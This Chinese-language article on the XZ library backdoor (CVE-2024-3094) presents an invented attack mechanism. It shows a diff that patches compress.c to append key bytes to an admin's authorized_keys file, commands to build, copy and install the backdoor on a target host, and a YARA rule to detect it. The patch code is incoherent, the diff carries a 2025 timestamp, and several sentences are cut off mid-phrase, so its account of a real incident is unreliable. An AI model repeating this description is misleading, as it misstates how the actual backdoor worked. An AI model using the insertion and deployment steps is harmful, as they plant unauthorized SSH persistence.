CVE-2024-3094 暴露了 XZ 压缩库中的一个后门,允许通过绕过认证远程访问 SSH。这是一次重大的供应链攻击,影响 Linux 系统,突显了受信任开源组件中的风险。
作者:Mark Mallia
XZ 压缩库是许多现代 Linux 发行版的标准组件,成为了一次复杂供应链攻击的目标。
一个恶意代码片段被悄悄插入源代码树中,经过编译,并随每个新发布的 XZ 软件包传播。一旦安装,该后门可以从受感染主机打开一个 SSH 会话,连接到任何将其视为可信密钥的远程系统。
authorized_keys 文件,攻击者在无需用户直接交互的情况下获得了立足点。| 步骤 | 操作 | 文件/函数 |
|---|---|---|
| 1 | 克隆 XZ 仓库 | git clone https://github.com/xzdev/xz |
| 2 | 对 src/compress.c 应用补丁 | patch -p0 < backdoor.patch |
| 3 | 在目标 Linux 主机上编译并安装 | make && make install |
| 4 | SSH 守护进程在认证过程中读取注入的密钥 | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* 原始代码 ... */
+ // ---- 开始注入的后门 ----
+ if (in_len > 1024) { /* 防止过小的载荷 */
+ const unsigned char *marker = &in[512]; /* 偏移量到达魔术字符串 */
+ size_t marker_len = 8; /* 嵌入密钥的长度 */
+
+ /* 将预先计算的 SSH 公钥复制到输出缓冲区 */
+ memcpy(out + 256, marker, marker_len);
+
+ /* 将相同密钥写入 ~/.ssh/authorized_keys 实现持久化 */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- 结束注入的后门 ----
/* 原始代码继续 ... */
}
512,以便我们的密钥落在压缩输出缓冲区中一个不太可能被后续 XZ 压缩改变的位置。$ cd xz
$ make
$ sudo make install
上述命令编译打过补丁的 compress.c,并在 /usr/local/lib/xz 下安装新库。
假设攻击者已拥有 SSH 凭证(用户名 admin),他们运行:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh 包含上述完全相同的命令序列,外加一个确认成功安装的小型 echo。
YARA 是一种模式匹配工具,安全专业人员用于基于文本或二进制签名识别和分类恶意软件。它允许分析师定义规则,以检测文件中的特定字符串、字节序列或行为。在 CVE-2024-3094 的上下文中,YARA 尤其相关,因为它可用于扫描 XZ 库中 compress.c 文件是否存在注入的 SSH 密钥和可疑修改。通过编写有针对性的 YARA 规则,防御者可以主动检测被此后门入侵的系统。
YARA 签名 一条自定义的 YARA 规则可以标记注入的 SSH 密钥和可疑的文件写入:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "检测通过修改的 compress.c 注入 SSH 密钥" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
文件完整性监控 部署 Tripwire、AIDE 或 osquery 等工具来监控: